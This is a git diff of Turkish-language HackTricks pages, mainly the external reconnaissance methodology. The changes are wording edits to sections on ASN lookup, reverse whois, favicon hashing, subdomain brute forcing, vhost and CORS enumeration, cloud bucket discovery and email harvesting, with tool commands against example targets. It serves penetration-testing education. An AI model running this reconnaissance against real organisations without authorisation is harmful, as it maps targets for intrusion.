[https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks) adresinde bulabilirsiniz. {{#include ../banners/hacktricks-training.md}} diff --git a/src/cryptography/rc4-encrypt-and-decrypt.md b/src/cryptography/rc4-encrypt-and-decrypt.md index 1e8531d1d..fdf5f4be5 100644 --- a/src/cryptography/rc4-encrypt-and-decrypt.md +++ b/src/cryptography/rc4-encrypt-and-decrypt.md @@ -4,8 +4,12 @@ Eğer bir şekilde bir düz metni RC4 kullanarak şifreleyebilirseniz, o RC4 ile Eğer bilinen bir düz metni şifreleyebiliyorsanız, şifreyi de çıkarabilirsiniz. Daha fazla referans HTB Kryptos makinesinde bulunabilir: -{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %} +{{#ref}} +https://0xrick.github.io/hack-the-box/kryptos/ +{{#endref}} -{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %} +{{#ref}} +https://0xrick.github.io/hack-the-box/kryptos/ +{{#endref}} {{#include ../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/external-recon-methodology/README.md b/src/generic-methodologies-and-resources/external-recon-methodology/README.md index 22d36a377..2e2ba3f12 100644 --- a/src/generic-methodologies-and-resources/external-recon-methodology/README.md +++ b/src/generic-methodologies-and-resources/external-recon-methodology/README.md @@ -2,7 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} - ## Varlık keşifleri > Yani, bir şirkete ait her şeyin kapsamda olduğu söylendi ve bu şirketin aslında neye sahip olduğunu anlamak istiyorsunuz. @@ -17,7 +16,7 @@ Bu aşamanın amacı, **ana şirketin sahip olduğu tüm şirketleri** ve ardın ### **Satın Almalar** Öncelikle, **ana şirketin sahip olduğu diğer şirketleri** bilmemiz gerekiyor.\ -Bir seçenek, [https://www.crunchbase.com/](https://www.crunchbase.com) adresini ziyaret etmek, **ana şirketi** **arama** yapmak ve "**satın almalar**" seçeneğine **tıklamak**. Orada ana şirket tarafından edinilen diğer şirketleri göreceksiniz.\ +Bir seçenek, [https://www.crunchbase.com/](https://www.crunchbase.com) adresini ziyaret etmek, **ana şirketi** **arama** yapmak ve "**satın almalar**" sekmesine **tıklamak**. Orada ana şirket tarafından edinilen diğer şirketleri göreceksiniz.\ Diğer bir seçenek, ana şirketin **Wikipedia** sayfasını ziyaret etmek ve **satın almaları** aramaktır. > Tamam, bu noktada kapsam içindeki tüm şirketleri bilmelisiniz. Şimdi varlıklarını nasıl bulacağımıza bakalım. @@ -25,11 +24,11 @@ Diğer bir seçenek, ana şirketin **Wikipedia** sayfasını ziyaret etmek ve ** ### **ASNs** Otonom sistem numarası (**ASN**), **Internet Assigned Numbers Authority (IANA)** tarafından bir **otonom sisteme** (AS) atanan **benzersiz bir numaradır**.\ -Bir **AS**, dış ağlara erişim için belirgin bir politikaya sahip olan ve tek bir organizasyon tarafından yönetilen **IP adresleri blokları** içerir, ancak birden fazla operatörden oluşabilir. +Bir **AS**, dış ağlara erişim için belirgin bir politikaya sahip olan ve tek bir organizasyon tarafından yönetilen **IP adresleri** **bloklarından** oluşur, ancak birden fazla operatörden oluşabilir. -**Şirketin herhangi bir ASN atayıp atamadığını** bulmak, **IP aralıklarını** bulmak için ilginçtir. Kapsam içindeki tüm **hostlar** üzerinde bir **zafiyet testi** gerçekleştirmek ve bu IP'ler içindeki **alan adlarını** aramak ilginç olacaktır.\ +**Şirketin herhangi bir ASN atayıp atamadığını bulmak** ve **IP aralıklarını** öğrenmek ilginçtir. Kapsam içindeki tüm **hostlar** üzerinde bir **zafiyet testi** gerçekleştirmek ve bu IP'ler içinde **alan adlarını** aramak ilginç olacaktır.\ [**https://bgp.he.net/**](https://bgp.he.net)** adresinde şirket **adı**, **IP** veya **alan adı** ile **arama** yapabilirsiniz.\ -**Şirketin bulunduğu bölgeye bağlı olarak bu bağlantılar daha fazla veri toplamak için faydalı olabilir:** [**AFRINIC**](https://www.afrinic.net) **(Afrika),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Kuzey Amerika),** [**APNIC**](https://www.apnic.net) **(Asya),** [**LACNIC**](https://www.lacnic.net) **(Latin Amerika),** [**RIPE NCC**](https://www.ripe.net) **(Avrupa). Her neyse, muhtemelen tüm** faydalı bilgiler **(IP aralıkları ve Whois)** zaten ilk bağlantıda görünmektedir. +**Şirketin bulunduğu bölgeye bağlı olarak, bu bağlantılar daha fazla veri toplamak için faydalı olabilir:** [**AFRINIC**](https://www.afrinic.net) **(Afrika),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Kuzey Amerika),** [**APNIC**](https://www.apnic.net) **(Asya),** [**LACNIC**](https://www.lacnic.net) **(Latin Amerika),** [**RIPE NCC**](https://www.ripe.net) **(Avrupa). Her neyse, muhtemelen tüm** faydalı bilgiler **(IP aralıkları ve Whois)** zaten ilk bağlantıda görünmektedir. ```bash #You can try "automate" this with amass, but it's not very recommended amass intel -org tesla @@ -91,8 +90,8 @@ Aşağıdaki çevrimiçi araçları kullanabilirsiniz: - [https://www.reversewhois.io/](https://www.reversewhois.io) - **Ücretsiz** - [https://www.whoxy.com/](https://www.whoxy.com) - **Ücretsiz** web, ücretsiz olmayan API. - [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - Ücretsiz değil -- [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Ücretsiz Değil (sadece **100 ücretsiz** arama) -- [https://www.domainiq.com/](https://www.domainiq.com) - Ücretsiz Değil +- [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Ücretsiz değil (sadece **100 ücretsiz** arama) +- [https://www.domainiq.com/](https://www.domainiq.com) - Ücretsiz değil Bu görevi [**DomLink** ](https://github.com/vysecurity/DomLink) kullanarak otomatikleştirebilirsiniz (bir whoxy API anahtarı gerektirir).\ Ayrıca [amass](https://github.com/OWASP/Amass) ile bazı otomatik ters whois keşifleri gerçekleştirebilirsiniz: `amass intel -d tesla.com -whois` @@ -123,11 +122,11 @@ python3 favihash.py -f https://target/favicon.ico -t targets.txt -s Basitçe söylemek gerekirse, favihash hedefimizle aynı favicon simgesi hash'ine sahip alan adlarını keşfetmemizi sağlar. -Ayrıca, favicon hash'ini kullanarak teknolojileri arayabilirsiniz, [**bu blog yazısında**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139) açıklandığı gibi. Yani, eğer bir web teknolojisinin savunmasız bir sürümünün **favicon hash'ini** biliyorsanız, shodan'da arama yapabilir ve **daha fazla savunmasız yer bulabilirsiniz**: +Ayrıca, favicon hash'ini kullanarak teknolojileri arayabilirsiniz, [**bu blog yazısında**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139) açıklandığı gibi. Yani, eğer bir web teknolojisinin savunmasız bir sürümünün **favicon'unun hash'ini** biliyorsanız, shodan'da arama yapabilir ve **daha fazla savunmasız yer bulabilirsiniz**: ```bash shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}' ``` -Bu, bir web'in **favicon hash'ini nasıl hesaplayabileceğinizdir**: +Bu, bir web'in **favicon hash'ini hesaplama** şeklidir: ```python import mmh3 import requests @@ -142,7 +141,7 @@ return fhash ``` ### **Telif Hakkı / Eşsiz Dize** -Web sayfalarında **aynı organizasyondaki farklı weblerde paylaşılabilecek dizeleri** arayın. **Telif hakkı dizesi** iyi bir örnek olabilir. Ardından bu dizeyi **google**, diğer **tarayıcılarda** veya hatta **shodan**'da arayın: `shodan search http.html:"Copyright string"` +Web sayfalarında **aynı organizasyondaki farklı weblerde paylaşılabilecek dizeleri** arayın. **Telif hakkı dizesi** iyi bir örnek olabilir. Ardından o dizeyi **google**'da, diğer **tarayıcılarda** veya hatta **shodan**'da arayın: `shodan search http.html:"Copyright string"` ### **CRT Zamanı** @@ -151,42 +150,40 @@ Genellikle bir cron işi olması yaygındır. # /etc/crontab 37 13 */10 * * certbot renew --post-hook "systemctl reload nginx" ``` -tüm alan sertifikalarını sunucuda yenilemek. Bu, kullanılan CA'nın geçerlilik süresinde oluşturulma zamanını ayarlamasa bile, **sertifika şeffaflık günlüklerinde aynı şirkete ait alanları bulmanın mümkün olduğu** anlamına gelir.\ +tüm alan sertifikalarını sunucuda yenilemek. Bu, kullanılan CA'nın geçerlilik süresinde oluşturulma zamanını ayarlamaması durumunda bile, **sertifika şeffaflık günlüklerinde aynı şirkete ait alanları bulmanın mümkün olduğu** anlamına gelir.\ Daha fazla bilgi için bu [**yazıya göz atın**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/). ### Mail DMARC bilgileri -**DMARC bilgilerini paylaşan alanları ve alt alanları bulmak için** [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) gibi bir web sitesi veya [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) gibi bir araç kullanabilirsiniz. +**aynı dmarc bilgilerini paylaşan alanlar ve alt alanlar** bulmak için [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) gibi bir web sitesi veya [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) gibi bir araç kullanabilirsiniz. ### **Pasif Ele Geçirme** -Görünüşe göre, insanların alt alanları bulut sağlayıcılarına ait IP'lere ataması ve bir noktada **o IP adresini kaybetmesi ama DNS kaydını silmeyi unutmaları** yaygındır. Bu nedenle, sadece bir bulutta (Digital Ocean gibi) **bir VM oluşturmak**, aslında **bazı alt alanları ele geçirmek** anlamına gelir. +Görünüşe göre, insanların alt alanları bulut sağlayıcılarına ait IP'lere ataması ve bir noktada **o IP adresini kaybetmesi ama DNS kaydını silmeyi unutmaları** yaygındır. Bu nedenle, sadece **bir VM oluşturmak** (Digital Ocean gibi) aslında **bazı alt alanları ele geçireceksiniz**. [**Bu yazı**](https://kmsec.uk/blog/passive-takeover/) bununla ilgili bir hikaye anlatıyor ve **DigitalOcean'da bir VM oluşturan**, **yeni makinenin** **IPv4'ünü alan** ve **buna işaret eden alt alan kayıtlarını Virustotal'da arayan** bir betik öneriyor. ### **Diğer yollar** -**Yeni bir alan bulduğunuzda daha fazla alan adı keşfetmek için bu tekniği kullanabileceğinizi unutmayın.** +**Yeni bir alan buldukça daha fazla alan adı keşfetmek için bu tekniği kullanabileceğinizi unutmayın.** **Shodan** IP alanına sahip olan kuruluşun adını zaten biliyorsunuz. Bu veriyi shodan'da aramak için: `org:"Tesla, Inc."` kullanabilirsiniz. TLS sertifikasında yeni beklenmedik alanlar için bulunan ana bilgisayarları kontrol edin. -Ana web sayfasının **TLS sertifikasına** erişebilir, **Kuruluş adını** alabilir ve ardından **shodan** tarafından bilinen tüm web sayfalarının **TLS sertifikaları** içinde o adı arayabilirsiniz; filtre olarak: `ssl:"Tesla Motors"` kullanabilir veya [**sslsearch**](https://github.com/HarshVaragiya/sslsearch) gibi bir araç kullanabilirsiniz. +Ana web sayfasının **TLS sertifikasına** erişebilir, **Kuruluş adını** elde edebilir ve ardından **shodan** tarafından bilinen tüm web sayfalarının **TLS sertifikaları** içinde o adı arayabilirsiniz: `ssl:"Tesla Motors"` filtresiyle veya [**sslsearch**](https://github.com/HarshVaragiya/sslsearch) gibi bir araç kullanabilirsiniz. **Assetfinder** -[**Assetfinder**](https://github.com/tomnomnom/assetfinder), bir ana alanla ilişkili **alanları** ve **alt alanlarını** arayan bir araçtır, oldukça etkileyici. +[**Assetfinder**](https://github.com/tomnomnom/assetfinder), ana bir alanla ve bunların **alt alanlarıyla** ilgili **alanları** arayan bir araçtır, oldukça etkileyici. ### **Zafiyet arama** -Bazı [alan ele geçirme](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover) durumlarını kontrol edin. Belki de bir şirket **bir alan kullanıyor** ama **sahipliğini kaybetti**. Sadece kaydedin (eğer yeterince ucuzsa) ve şirketi bilgilendirin. +Bazı [alan ele geçirme](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover) durumlarını kontrol edin. Belki de bir şirket **bir alan kullanıyor** ama **sahipliğini kaybetti**. Sadece kaydedin (eğer yeterince ucuzsa) ve şirkete bildirin. -Eğer **varlık keşfinde zaten bulduğunuz IP'lerden farklı bir IP'ye sahip bir alan bulursanız**, **temel bir zafiyet taraması** (Nessus veya OpenVAS kullanarak) ve **nmap/masscan/shodan** ile bazı [**port taramaları**](../pentesting-network/#discovering-hosts-from-the-outside) yapmalısınız. Hangi hizmetlerin çalıştığına bağlı olarak, **bu kitapta "saldırmak" için bazı ipuçları bulabilirsiniz**.\ +Eğer bulduğunuz varlık keşfinde zaten bulduğunuz IP'lerden farklı bir IP'ye sahip herhangi bir **alan bulursanız**, **temel bir zafiyet taraması** (Nessus veya OpenVAS kullanarak) ve **nmap/masscan/shodan** ile bazı [**port taramaları**](../pentesting-network/#discovering-hosts-from-the-outside) yapmalısınız. Hangi hizmetlerin çalıştığına bağlı olarak, **bu kitapta "saldırmak" için bazı ipuçları** bulabilirsiniz.\ &#xNAN;_Note that sometimes the domain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._ - - ## Alt Alanlar > Kapsam içindeki tüm şirketleri, her şirketin tüm varlıklarını ve şirketlerle ilgili tüm alanları biliyoruz. @@ -285,7 +282,7 @@ curl -s "https://crt.sh/?q=%25.$1" \ } crt tesla.com ``` -- [**gau**](https://github.com/lc/gau)**:** Belirli bir alan adı için AlienVault'un Açık Tehdit Değişimi, Wayback Machine ve Common Crawl'dan bilinen URL'leri alır. +- [**gau**](https://github.com/lc/gau)**:** belirli bir alan adı için AlienVault'un Açık Tehdit Değişimi, Wayback Machine ve Common Crawl'dan bilinen URL'leri alır. ```bash # Get subdomains from GAUs found URLs gau --subs tesla.com | cut -d "/" -f 3 | sort -u @@ -348,7 +345,7 @@ grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt ``` gobuster dns -d mysite.com -t 50 -w subdomains.txt ``` -- [**shuffledns**](https://github.com/projectdiscovery/shuffledns), `massdns` etrafında yazılmış bir go wrapper'ıdır ve aktif brute force kullanarak geçerli alt alan adlarını listelemenizi sağlar, ayrıca alt alan adlarını wildcard yönetimi ve kolay girdi-çıktı desteği ile çözmenize olanak tanır. +- [**shuffledns**](https://github.com/projectdiscovery/shuffledns), `massdns` etrafında yazılmış bir go wrapper'ıdır ve aktif brute force kullanarak geçerli alt alan adlarını listelemenizi sağlar, ayrıca alt alan adlarını wildcard yönetimi ile çözümleyebilir ve kolay girdi-çıktı desteği sunar. ``` shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt ``` @@ -377,8 +374,8 @@ goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3 ``` gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt] ``` -- [**altdns**](https://github.com/infosec-au/altdns): Alt alan adlarının permütasyonlarını oluşturmanın yanı sıra, bunları çözmeye de çalışabilir (ancak daha önce bahsedilen araçları kullanmak daha iyidir). -- altdns permütasyonlarını **wordlist** olarak [**buradan**](https://github.com/infosec-au/altdns/blob/master/words.txt) alabilirsiniz. +- [**altdns**](https://github.com/infosec-au/altdns): Alt alan adları varyasyonları oluşturmanın yanı sıra, bunları çözmeye de çalışabilir (ancak daha önce bahsedilen araçları kullanmak daha iyidir). +- altdns varyasyonlarını **wordlist** olarak [**buradan**](https://github.com/infosec-au/altdns/blob/master/words.txt) alabilirsiniz. ``` altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3 ``` @@ -392,13 +389,13 @@ cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \ #### Akıllı permütasyonlar üretimi -- [**regulator**](https://github.com/cramppet/regulator): Daha fazla bilgi için bu [**gönderiyi**](https://cramppet.github.io/regulator/index.html) okuyun, ancak temelde **keşfedilen alt alan adlarının** **ana kısımlarını** alacak ve daha fazla alt alan adı bulmak için bunları karıştıracaktır. +- [**regulator**](https://github.com/cramppet/regulator): Daha fazla bilgi için bu [**gönderiyi**](https://cramppet.github.io/regulator/index.html) okuyun, ancak temelde **keşfedilen alt alan adlarının** **ana parçalarını** alacak ve daha fazla alt alan adı bulmak için bunları karıştıracaktır. ```bash python3 main.py adobe.com adobe adobe.rules make_brute_list.sh adobe.rules adobe.brute puredns resolve adobe.brute --write adobe.valid ``` -- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_, bir alt alan brute-force fuzzer'dır ve son derece basit ama etkili bir DNS yanıtına dayalı algoritma ile birleştirilmiştir. Sağlanan bir girdi veri setini, özel bir kelime listesi veya tarihsel DNS/TLS kayıtları gibi, kullanarak daha fazla ilgili alan adı sentezler ve DNS taraması sırasında toplanan bilgilere dayalı olarak bunları bir döngüde daha da genişletir. +- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_, bir alt alan brute-force fuzzer'dır ve son derece basit ama etkili bir DNS yanıtına dayalı algoritma ile birleştirilmiştir. Sağlanan bir girdi veri setini, özel bir kelime listesi veya tarihsel DNS/TLS kayıtları gibi, kullanarak daha fazla ilgili alan adı sentezlemek ve bunları DNS taraması sırasında toplanan bilgilere dayalı olarak bir döngüde daha da genişletmek için kullanır. ``` echo www | subzuf facebook.com ``` @@ -406,13 +403,17 @@ echo www | subzuf facebook.com Bir alan adından **alt alan keşfini otomatikleştirme** hakkında yazdığım bu blog yazısını kontrol edin, böylece bilgisayarımda bir dizi aracı manuel olarak başlatmam gerekmiyor: -{% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/" %} +{{#ref}} +https://trickest.com/blog/full-subdomain-discovery-using-workflow/ +{{#endref}} -{% embed url="https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/" %} +{{#ref}} +https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/ +{{#endref}} ### **VHosts / Sanal Ana Bilgiler** -Eğer bir IP adresinde **bir veya birkaç web sayfası** bulduysanız, **o IP'deki diğer alt alanları bulmaya çalışabilirsiniz**. Bunun için **OSINT kaynaklarında** bir IP'deki alan adlarını arayabilir veya **o IP'deki VHost alan adlarını brute force ile deneyebilirsiniz**. +Eğer bir IP adresinde **bir veya birkaç web sayfası** bulduysanız, **o IP'deki diğer alt alanları bulmaya çalışabilirsiniz**. Bunun için **OSINT kaynaklarında** bir IP'deki alan adlarını arayabilir veya **o IP'deki VHost alan adlarını brute-force yapabilirsiniz**. #### OSINT @@ -420,7 +421,7 @@ Bazı **VHosts'ları IP'lerde bulmak için** [**HostHunter**](https://github.com **Brute Force** -Eğer bazı alt alanların bir web sunucusunda gizli olabileceğinden şüpheleniyorsanız, bunu brute force ile denemeyi düşünebilirsiniz: +Eğer bazı alt alanların bir web sunucusunda gizli olabileceğinden şüpheleniyorsanız, brute force yapmayı deneyebilirsiniz: ```bash ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com" @@ -439,7 +440,7 @@ VHostScan -t example.com ### **CORS Brute Force** -Bazen, yalnızca geçerli bir alan/ad alt alanı _**Origin**_ başlığında ayarlandığında _**Access-Control-Allow-Origin**_ başlığını döndüren sayfalar bulabilirsiniz. Bu senaryolarda, bu davranışı **keşfetmek** için yeni **alt alanlar** bulmak amacıyla kötüye kullanabilirsiniz. +Bazen, yalnızca geçerli bir alan/ad alanı _**Origin**_ başlığında ayarlandığında _**Access-Control-Allow-Origin**_ başlığını döndüren sayfalar bulabilirsiniz. Bu senaryolarda, bu davranışı **keşfetmek** için **yeni alt alan adları** elde etmek amacıyla kötüye kullanabilirsiniz. ```bash ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body ``` @@ -450,20 +451,20 @@ Ayrıca, bu noktada kapsam içindeki tüm alan adlarını bildiğiniz için, [** ### **Monitorization** -Bir alan adının **yeni alt alanları** oluşturulup oluşturulmadığını **Sertifika Şeffaflığı** Loglarını izleyerek **izleyebilirsiniz** [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py). +Bir alan adının **yeni alt alanları** oluşturulup oluşturulmadığını **Sertifika Şeffaflığı** Loglarını izleyerek **izleyebilirsiniz**. [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py) bunu yapar. ### **Güvenlik açıklarını arama** -Mümkün olan [**alt alan ele geçirmelerini**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover) kontrol edin.\ +Mümkün olan [**alt alan devralmalarını**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover) kontrol edin.\ Eğer **alt alan** bir **S3 bucket**'a **işaret ediyorsa**, [**izinleri kontrol edin**](../../network-services-pentesting/pentesting-web/buckets/). -Eğer keşif aşamasında bulduğunuz IP'lerden farklı bir **IP ile bir alt alan bulursanız**, **temel bir güvenlik açığı taraması** (Nessus veya OpenVAS kullanarak) ve bazı [**port taramaları**](../pentesting-network/#discovering-hosts-from-the-outside) **nmap/masscan/shodan** ile gerçekleştirmelisiniz. Hangi hizmetlerin çalıştığına bağlı olarak, **bu kitapta "saldırmak" için bazı ipuçları bulabilirsiniz**.\ +Eğer keşfettiğiniz varlıkların IP'lerinden farklı bir **IP ile bir alt alan bulursanız**, **temel bir güvenlik açığı taraması** (Nessus veya OpenVAS kullanarak) ve bazı [**port taramaları**](../pentesting-network/#discovering-hosts-from-the-outside) **nmap/masscan/shodan** ile yapmalısınız. Hangi hizmetlerin çalıştığına bağlı olarak, **bu kitapta "saldırmak" için bazı ipuçları bulabilirsiniz**.\ &#xNAN;_Note, bazen alt alanın, müşterinin kontrolünde olmayan bir IP içinde barındırıldığını unutmayın, bu nedenle kapsamda değildir, dikkatli olun._ ## IP'ler -Başlangıç aşamalarında **bazı IP aralıkları, alan adları ve alt alanlar** bulmuş olabilirsiniz.\ -Artık **bu aralıklardan tüm IP'leri toplama** ve **alan adları/alt alanlar için (DNS sorguları)** zamanı. +Başlangıç adımlarında **bazı IP aralıkları, alan adları ve alt alanlar** bulmuş olabilirsiniz.\ +Artık **bu aralıklardaki tüm IP'leri** ve **alan adları/alt alanlar (DNS sorguları)** için **toplama zamanı**. Aşağıdaki **ücretsiz API'lerden** hizmetler kullanarak, **alan adları ve alt alanlar tarafından kullanılan önceki IP'leri** de bulabilirsiniz. Bu IP'ler hala müşteri tarafından sahiplenilmiş olabilir (ve [**CloudFlare bypass'larını**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md) bulmanıza yardımcı olabilir). @@ -473,27 +474,27 @@ Ayrıca, belirli bir IP adresine işaret eden alan adlarını kontrol etmek içi ### **Güvenlik açıklarını arama** -**CDN'lere ait olmayan tüm IP'leri port taraması yapın** (çünkü burada ilginç bir şey bulma olasılığınız çok düşük). Keşfedilen çalışan hizmetlerde **güvenlik açıkları bulma** şansınız olabilir. +**CDN'lere ait olmayan tüm IP'leri port taraması yapın** (çünkü burada ilginç bir şey bulmanız pek olası değildir). Keşfedilen çalışan hizmetlerde **güvenlik açıkları bulabilirsiniz**. **Host'ları tarama hakkında bir** [**rehber**](../pentesting-network/) **bulun.** ## Web sunucuları avı -> Tüm şirketleri ve varlıklarını bulduk ve kapsam içindeki IP aralıklarını, alan adlarını ve alt alanları biliyoruz. Web sunucularını arama zamanı. +> Tüm şirketleri ve varlıklarını bulduk ve kapsam içindeki IP aralıklarını, alan adlarını ve alt alanları biliyoruz. Artık web sunucularını arama zamanı. Önceki adımlarda muhtemelen keşfedilen **IP'ler ve alan adları üzerinde bazı keşifler** yaptınız, bu nedenle **mümkün olan tüm web sunucularını** **zaten bulmuş olabilirsiniz**. Ancak, bulmadıysanız, şimdi kapsam içinde web sunucularını aramak için bazı **hızlı ipuçlarını** göreceğiz. -Lütfen, bunun **web uygulamaları keşfine yönelik** olacağını unutmayın, bu nedenle **güvenlik açığı** ve **port taraması** da yapmalısınız (**kapsam tarafından izin veriliyorsa**). +Lütfen, bunun **web uygulamaları keşfine yönelik** olacağını unutmayın, bu nedenle **güvenlik açığı** ve **port taraması** da yapmalısınız (**kapsam tarafından izin verilirse**). **Web** sunucularına ilişkin **açık portları** keşfetmek için [**masscan** ile hızlı bir yöntem burada bulunabilir](../pentesting-network/#http-port-discovery).\ -Web sunucularını aramak için başka bir kullanıcı dostu araç [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) ve [**httpx**](https://github.com/projectdiscovery/httpx)'dir. Sadece bir alan adı listesi geçiyorsunuz ve port 80 (http) ve 443 (https) ile bağlantı kurmaya çalışıyor. Ayrıca, diğer portları denemesi için belirtebilirsiniz: +Web sunucularını aramak için başka bir dost araç [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) ve [**httpx**](https://github.com/projectdiscovery/httpx)dir. Sadece bir alan adı listesi geçiyorsunuz ve 80 (http) ve 443 (https) portlarına bağlanmaya çalışıyor. Ayrıca, diğer portları denemesi için belirtebilirsiniz: ```bash cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443 cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443 ``` ### **Ekran Görüntüleri** -Artık kapsamda bulunan **tüm web sunucularını** (şirketin **IP'leri** ve tüm **alan adları** ve **alt alan adları** arasında) keşfettiğinize göre, muhtemelen **nereden başlayacağınızı bilmiyorsunuz**. Bu yüzden, basit tutalım ve hepsinin ekran görüntülerini almaya başlayalım. Sadece **ana sayfaya bakarak** daha **savunmasız** olabilecek **garip** uç noktalar bulabilirsiniz. +Artık kapsamda bulunan **tüm web sunucularını** (şirketin **IP'leri** ve tüm **alan adları** ve **alt alan adları** arasında) keşfettiğinize göre, muhtemelen **nereden başlayacağınızı bilmiyorsunuz**. O yüzden, bunu basit tutalım ve hepsinin ekran görüntülerini almaya başlayalım. **Ana sayfaya** bir **göz atarak**, daha **savunmasız** olma eğiliminde olan **garip** uç noktalar bulabilirsiniz. Önerilen fikri gerçekleştirmek için [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) veya [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**'i** kullanabilirsiniz. @@ -501,9 +502,9 @@ Ayrıca, **screenshot**'ları taramak için [**eyeballer**](https://github.com/B ## Kamu Bulut Varlıkları -Bir şirkete ait potansiyel bulut varlıklarını bulmak için **o şirketi tanımlayan anahtar kelimelerle bir listeye başlamalısınız**. Örneğin, bir kripto şirketi için şu kelimeleri kullanabilirsiniz: `"crypto", "wallet", "dao", "", <"subdomain_names">`. +Bir şirkete ait potansiyel bulut varlıklarını bulmak için, o şirketi tanımlayan bir **anahtar kelime listesi** ile başlamalısınız. Örneğin, bir kripto şirketi için şu kelimeleri kullanabilirsiniz: `"crypto", "wallet", "dao", "", <"subdomain_names">`. -Ayrıca, **kova** içinde kullanılan **yaygın kelimelerin** kelime listelerine ihtiyacınız olacak: +Ayrıca, **kova** içinde kullanılan **yaygın kelimelerin** kelime listelerine de ihtiyacınız olacak: - [https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt](https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt) - [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt) @@ -511,30 +512,30 @@ Ayrıca, **kova** içinde kullanılan **yaygın kelimelerin** kelime listelerine Sonra, bu kelimelerle **permutasyonlar** oluşturmalısınız (daha fazla bilgi için [**İkinci Tur DNS Brute-Force**](./#second-dns-bruteforce-round) bölümüne bakın). -Elde edilen kelime listeleriyle [**cloud_enum**](https://github.com/initstring/cloud_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **ve** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)** gibi araçları kullanabilirsiniz.** +Elde edilen kelime listeleri ile [**cloud_enum**](https://github.com/initstring/cloud_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **ve** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)** gibi araçları kullanabilirsiniz.** Bulut Varlıkları ararken, **AWS'deki kovalardan daha fazlasını aramalısınız**. ### **Zayıf Noktaları Arama** -**Açık kova veya bulut işlevleri** gibi şeyler bulursanız, **onlara erişmeli** ve size ne sunduklarını görmeli ve bunları kötüye kullanıp kullanamayacağınızı denemelisiniz. +**Açık kova veya bulut işlevleri** gibi şeyler bulursanız, bunlara **erişmeli** ve size ne sunduklarını görmeli ve bunları kötüye kullanıp kullanamayacağınızı denemelisiniz. ## E-postalar -Kapsamdaki **alan adları** ve **alt alan adları** ile, **e-postaları aramaya başlamak için ihtiyaç duyduğunuz her şeye sahipsiniz**. Bir şirketin e-postalarını bulmak için en iyi çalışan **API'ler** ve **araçlar** şunlardır: +Kapsam içindeki **alan adları** ve **alt alan adları** ile, **e-postaları aramaya başlamak için** ihtiyacınız olan her şeye sahipsiniz. Bir şirketin e-postalarını bulmak için en iyi çalışan **API'ler** ve **araçlar** şunlardır: -- [**theHarvester**](https://github.com/laramies/theHarvester) - API'lerle +- [**theHarvester**](https://github.com/laramies/theHarvester) - API'ler ile - [**https://hunter.io/**](https://hunter.io/) API'si (ücretsiz sürüm) - [**https://app.snov.io/**](https://app.snov.io/) API'si 